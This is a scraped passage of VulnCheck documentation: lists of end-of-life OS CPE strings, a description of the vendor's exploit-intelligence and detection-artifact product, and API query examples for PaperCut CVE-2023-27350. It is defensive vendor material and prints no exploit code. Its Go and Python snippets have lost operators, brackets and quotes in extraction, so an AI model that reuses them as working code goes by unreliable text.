microsoft:windows_server_2003:r2:sp2:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:*:-:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:*:-:hpc:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:*:-:web:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:*:esu1:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:*:esu2:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:*:esu3:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:*:esu4:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:*:sp1:web:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:*:sp2:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:*:sp2:hpc:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:*:sp2:web:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:r2:-:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:r2:-:hpc:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:r2:esu1:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:r2:esu2:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:r2:esu3:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:r2:esu4:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2008:r2:sp1:hpc:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2012:*:-:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2012:*:esu1:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2012:*:esu2:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2012:*:esu3:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2012:r2:-:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2012:r2:esu1:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2012:r2:esu2:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2012:r2:esu3:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:ltsc:*:*:*\ncpe:2.3:o:microsoft:windows_server_2016:*:nano:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:ltsc:*:*:*\ncpe:2.3:o:microsoft:windows_server_2019:*:*:iot:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2019_storage:*:*:iot:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:ltsc:*:*:*\ncpe:2.3:o:microsoft:windows_server_2022:*:*:iot:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_small_business_server_2003:*:-:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_small_business_server_2003:*:sp1:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_small_business_server_2003:r2:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_small_business_server_2008:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_small_business_server_2011:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_storage_server_2003:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_storage_server_2003:r2:-:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_storage_server_2003:r2:sp2:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_storage_server_2008:*:*:embedded:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_storage_server_2008:*:-:-:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_storage_server_2008:*:sp2:-:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_storage_server_2008:r2:-:-:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_storage_server_2008:r2:sp1:-:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_storage_server_2012:*:*:-:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_storage_server_2012:r2:*:-:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_storage_server_2016:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_vista:*:-:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_vista:*:sp1:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_vista:*:sp2:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:*:media_center_2002:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:*:media_center_2004:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:*:media_center_2005:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:-:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:-:embedded:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:-:tablet_pc:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:sp1:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:sp1:embedded:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:sp1a:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:sp2:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:sp2:embedded:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:sp2:tablet_pc:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:sp3:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:sp3:embedded:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_xp:*:sp3:tablet_pc:*:*:*:*:*\ncpe:2.3:o:opensuse:leap:15.0:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:leap:15.1:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:leap:15.2:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:leap:15.3:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:leap:15.4:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:leap:15.5:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:leap:42.1:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:leap:42.2:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:leap:42.3:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:opensuse:10.2:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:opensuse:10.3:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:opensuse:11.0:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:opensuse:11.1:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:opensuse:11.2:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:opensuse:11.3:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:opensuse:11.4:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:opensuse:12.1:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:opensuse:12.2:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:opensuse:12.3:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:opensuse:13.1:*:*:*:*:*:*:*\ncpe:2.3:o:opensuse:opensuse:13.2:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:linux:3:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:linux:4:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:linux:5:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:linux:6:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:linux:7:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:linux:8:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:linux:9:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:10:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:11.0:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:11.1:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:11.2:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:11.3:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:11.4:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:1:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:2.0:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:2.1:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:2.2:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:2.3:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:2.4:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:2.5.1:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:2.5:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:2.6:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:7:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:8:*:*:*:*:*:*:*\ncpe:2.3:o:oracle:solaris:9:*:*:*:*:*:*:*\ncpe:2.3:o:redhat:enterprise_linux:2.1:*:*:*:*:*:*:*\ncpe:2.3:o:redhat:enterprise_linux:3:*:*:*:*:*:*:*\ncpe:2.3:o:redhat:enterprise_linux:4:*:*:*:*:*:*:*\ncpe:2.3:o:redhat:enterprise_linux:5:*:*:*:*:*:*:*\ncpe:2.3:o:redhat:enterprise_linux:6:*:*:*:*:*:*:*\ncpe:2.3:o:redhat:enterprise_linux:7:*:*:*:*:*:*:*\ncpe:2.3:o:redhat:enterprise_linux:8:*:*:*:*:*:*:*\ncpe:2.3:o:redhat:enterprise_linux:9:*:*:*:*:*:*:*\ncpe:2.3:o:rocky:linux:8.4:*:*:*:*:*:*:*\ncpe:2.3:o:rocky:linux:8.5:*:*:*:*:*:*:*\ncpe:2.3:o:rocky:linux:9:*:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:10:-:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:10:sp1:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:10:sp2:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:10:sp3:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:10:sp4:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:11:-:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:11:sp1:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:11:sp2:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:11:sp3:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:11:sp4:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:12:-:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:12:sp1:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:12:sp2:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:12:sp3:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:12:sp4:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:12:sp5:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:15:-:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:15:sp1:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:15:sp2:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:15:sp3:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:15:sp4:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:7:*:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:8:*:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:9:-:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:9:sp1:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:9:sp2:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:9:sp3:*:*:*:*:*:*\ncpe:2.3:o:suse:suse_linux_enterprise_server:9:sp4:*:*:*:*:*:*\ncpe:2.3:o:virtuozzo:virtuozzo:6:*:*:*:*:*:*:*\ncpe:2.3:o:virtuozzo:virtuozzo:7:*:*:*:*:*:*:*\ncpe:2.3:o:vmware:esxi:3.0:*:*:*:*:*:*:*\ncpe:2.3:o:vmware:esxi:3.5:*:*:*:*:*:*:*\ncpe:2.3:o:vmware:esxi:4.0:*:*:*:*:*:*:*\ncpe:2.3:o:vmware:esxi:4.1:*:*:*:*:*:*:*\ncpe:2.3:o:vmware:esxi:5.0:*:*:*:*:*:*:*\ncpe:2.3:o:vmware:esxi:5.1:*:*:*:*:*:*:*\ncpe:2.3:o:vmware:esxi:5.5:*:*:*:*:*:*:*\ncpe:2.3:o:vmware:esxi:6.0:*:*:*:*:*:*:*\ncpe:2.3:o:vmware:esxi:6.5:*:*:*:*:*:*:*\ncpe:2.3:o:vmware:esxi:6.7:*:*:*:*:*:*:*\ncpe:2.3:o:vmware:esxi:7.0:*:*:*:*:*:*:*\ncpe:2.3:o:vmware:esxi:8.0:*:*:*:*:*:*:* VulnCheck Exploit & Vulnerability Intelligence is regularly adding new End-of-Life product release information. If you dont see CPE-level coverage of product releases youre interested in, please reach out to the team at VulnCheck. Missing Coverage? If you dont see coverage of product releases youre interested in, please reach out to the team at VulnCheck and well see about getting coverage added. html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B},{id:98,title:97,titles:1040,content:1041,level:528},,Leverage Initial Access Intelligence detection artifacts to detect & respond to remote code execution (RCE) vulnerabilities. According to Mandiant, Initial Access vulnerabilities and their subsequent exploitation was the leading source of data breaches in 2022. VulnChecks Initial Access Intelligence product provides detection artifacts in a timely manner, so that organizations can respond to these emerging threats more quickly. VulnChecks Initial Access Intelligence product provides organizations with in-house developed: Exploit PoCsPacket Captures (PCAP files)Suricata & Snort signatures to detect exploitationYARA rules (when possible)CPE stringsVersion ScannersMapping to GreyNoise tagsCensys, Shodan, ZoomEye, FOFA, Baidu, and Google Queries (measuring Internet-level exposure of potentially vulnerable systems)Target Docker container VulnCheck packages these detection artifacts for organizations to detect & respond.,{id:105,title:104,titles:1043,content:1044,level:528},,The VulnCheck Initial Access Intelligence product covers a limited subset of known vulnerabilities, those vulnerabilities likely to become widely exploited in the future. VulnCheck Initial Access Intelligence covers Initial Access Vulnerabilities, sometimes referred to as Remote Code Execution (RCE) vulnerabilities, which are remote in nature, and typically do not require credentials to exploit. VulnCheck authors, in-house, detection artifacts for Initial Access Vulnerabilities already being used in attacks in the wild, or likely to be used in attacks in the wild in the near future. VulnCheck aims to provide coverage before vulnerabilities show up in exploited in the wild lists, such as the CISA KEV and VulnCheck KEV catalogs.,{id:110,title:109,titles:1046,content:1047,level:528},,The VulnCheck Initial Access Intelligence product includes detection artifacts in a wide range of formats, to enable defenders to quickly detect & respond to emerging threats. VulnChecks Initial Access Intelligence product provides organizations with in-house developed exploit PoCs, packet captures (PCAP files), Suricata & Snort signatures to detect exploitation, YARA rules (when possible), CPE strings, version scanners, mapping to GreyNoise tags, and measuring Internet-level exposure of potentially vulnerable systems using Censys & Shodan. VulnCheck packages these detection artifacts for organizations to detect & respond. Our detection artifacts enable organizations to respond to the latest vulnerabilities, likely to be involved in widespread attacks and data breaches, by implementing defensive measures and testing their security posture.,{id:1049,title:1050,titles:1051,content:1052,level:174},/products/initial-access-intelligence/detection-artifacts#detection-artifacts-included,Detection Artifacts Included,109,Licensed subscribers of VulnCheck Initial Access Intelligence are able to download the following detection artifacts for covered vulnerabilities: Detection ArtifactDescriptionExploit PoCIn-house developed Exploit PoC designed to test whether devices or applications are actually vulnerableVersion ScannerA version scanner, wired into the Exploit PoC, designed to assess whether systems are vulnerable based on a version, without sending exploit payloadPacket Capture (PCAP)A packet capture (PCAP) of the Exploit PoC exploiting a vulnerable systemSuricata RuleA Suricata rule designed to detect the exploitation of the vulnerability over the networkSnort RuleA Snort rule designed to detect the exploitation of the vulnerability over the networkYARA RuleA YARA rule designed to detect the exploit on an endpointNmap ScriptsAn Nmap script for scanning environment using the widely used Nmap network scannerTarget DockerA docker-compose or Dockerfile containing the vulnerable service for testing,{id:1054,title:1055,titles:1056,content:1057,level:174},/products/initial-access-intelligence/detection-artifacts#metadata-available,Metadata Available,109,In addition to the above detection artifacts (files), VulnCheck Initial Access includes metadata about the potential exposure of the vulnerability. Organizations on the VulnCheck platform, regardless of whether they have purchased VulnCheck Initial Access Intelligence or not, may access the following metadata from VulnCheck Initial Access Intelligence. MetadataDescriptionIncluded in KEVWhether the Vulnerability is currently in the CISA KEV list or notCPECommon Platform Enumeration (CPE) strings of potentially vulnerable systemsVendorVendor associated with target of the detection artifactsProductsProduct(s) associated with the target of the detection artifactsDate AddedThe date the detection artifacts were first made availableArtifact DescriptionA name or description of the detection artifact collectionCensys QueriesExample Censys queries for examining potential Internet-exposed devices & applicationsShodan QueriesExample Shodan queries for examining potential Internet-exposed devices & applicationsFOFA QueriesExample FOFA queries for examining potential Internet-exposed devices & applicationsBaidu QueriesExample Baidu queries for examining potential Internet-exposed devices & applicationsZoomEye QueriesExample ZoomEye queries for examining potential Internet-exposed devices & applicationsGoogle QueriesExample Google queries for examining potential Internet-exposed devices & applicationsGreyNoise QueriesExample GreyNoise queries for finding the vulnerability via honeypot data,{id:115,title:114,titles:1059,content:1060,level:528},,VulnCheck Initial Access Intelligence example record for PaperCut (CVE-2023-27350) VulnCheck tracks initial access vulnerabilities, remote code execution vulnerabilities that do not require authentication, and authors detection artifacts to help organizations defend against weaponized exploits for those vulnerabilities. VulnCheck Initial Access Intelligence provides these detection artifacts in timely manner, to help organizations author detections and defend themselves, during the unclear times of recent disclosures. When new vulnerabilities, like CVE-2023-27350 (PaperCut) are disclosed, VulnCheck researchers examine the potential use of that vulnerability in Internet-wide attacks.,{id:1062,title:1063,titles:1064,content:1065,level:174},/products/initial-access-intelligence/example-artifacts#papercut-cve-2023-27350,PaperCut CVE-2023-27350,114,In mid-April, attackers began exploiting a vulnerability in PaperCut NG and MF. The exploited vulnerability would later be assigned CVE-2023-27350. Multiple security organizations have published exploit detections and indicators of compromise that assume attackers are executing code through PaperCut’s built-in scripting interface. However, VulnCheck researchers have found a proof-of-concept exploit that bypasses all published detections from Huntress, Horizon3.ai, Emerging Threats and Microsoft. To learn more, see VulnChecks blog: PaperCut Exploitation - A Different Path to Code Execution.,{id:1067,title:1068,titles:1069,content:1070,level:174},/products/initial-access-intelligence/example-artifacts#available-detection-artifacts,Available Detection Artifacts,114,To check what detection artifacts are available for PaperCut CVE-2023-27350, simply check VulnCheck Initial Access Intelligence via:\n(https://api.vulncheck.com/v3/index/initial-access?cveCVE-2023-27350). curl --request GET \\\n    --url https://api.vulncheck.com/v3/index/initial-access?cveCVE-2023-27350 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.IndicesAPI.IndexInitialAccessGet(auth).Cve(\CVE-2023-27350\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    indices_client  vulncheck_sdk.IndicesApi(api_client)\n\n    api_response  indices_client.index_initial_access_get(cve\CVE-2023-27350\)\n\n    print(api_response.data)\nvulncheck index browse initial-access --cve CVE-2023-27350 That will result in a response like: // 20250225121948\n// https://api.vulncheck.com/v3/index/initial-access?cveCVE-2023-27350\n\n{\n  \_benchmark\: 0.056493,\n  \_meta\: {\n    \timestamp\: \2025-02-25T17:19:48.644136064Z\,\n    \index\: \initial-access\,\n    \limit\: 100,\n    \total_documents\: 1,\n    \sort\: \_id\,\n    \parameters\: \n      {\n        \name\: \cve\,\n        \format\: \^CVE-\\\\d{4}-\\\\d{4,7}$\\n      },\n      {\n        \name\: \alias\\n      },\n      {\n        \name\: \iava\,\n        \format\: \(?i)^\\\\d{4}a-z0-9-+$\\n      },\n      {\n        \name\: \jvndb\,\n        \format\: \(?i)^JVNDB-\\\\d{4}-\\\\d{6}$\\n      },\n      {\n        \name\: \ilvn\,\n        \format\: \(?i)^ILVN-\\\\d{4}-\\\\d{4}$\\n      },\n      {\n        \name\: \threat_actor\\n      },\n      {\n        \name\: \mitre_id\\n      },\n      {\n        \name\: \misp_id\\n      },\n      {\n        \name\: \ransomware\\n      },\n      {\n        \name\: \botnet\\n      },\n      {\n        \name\: \published\\n      },\n      {\n        \name\: \updatedAtStartDate\,\n        \format\: \YYYY-MM-DD\\n      },\n      {\n        \name\: \updatedAtEndDate\,\n        \format\: \YYYY-MM-DD\\n      },\n      {\n        \name\: \lastModStartDate\,\n        \format\: \YYYY-MM-DD\\n      },\n      {\n        \name\: \lastModEndDate\,\n        \format\: \YYYY-MM-DD\\n      },\n      {\n        \name\: \pubStartDate\,\n        \format\: \YYYY-MM-DD\\n      },\n      {\n        \name\: \pubEndDate\,\n        \format\: \YYYY-MM-DD\\n      }\n    ,\n    \order\: \desc\,\n    \page\: 1,\n    \total_pages\: 1,\n    \max_pages\: 6,\n    \first_item\: 1,\n    \last_item\: 1\n  },\n  \data\: \n    {\n      \cve\: \CVE-2023-27350\,\n      \inKEV\: true,\n      \inVCKEV\: true,\n      \vulnerable_cpes\: \n        \cpe:2.3:a:papercut:papercut_mf:10.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:10.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:10.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:10.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:10.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:10.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:10.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:11.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:11.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:11.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:11.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:11.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:11.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:11.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:12.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:12.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:12.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:12.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:12.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:12.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:13.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:13.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:13.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:13.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:13.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:13.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:14.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:14.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:14.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:14.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:15.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:15.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:15.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:15.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:16.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:16.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:16.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:16.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.0.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.0.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.0.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.0.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.0.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.1.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.1.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.1.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.2.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.2.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.2.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.2.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.3.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.3.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.3.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.3.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.3.6:*:*:*:*:*:*:*\,\n        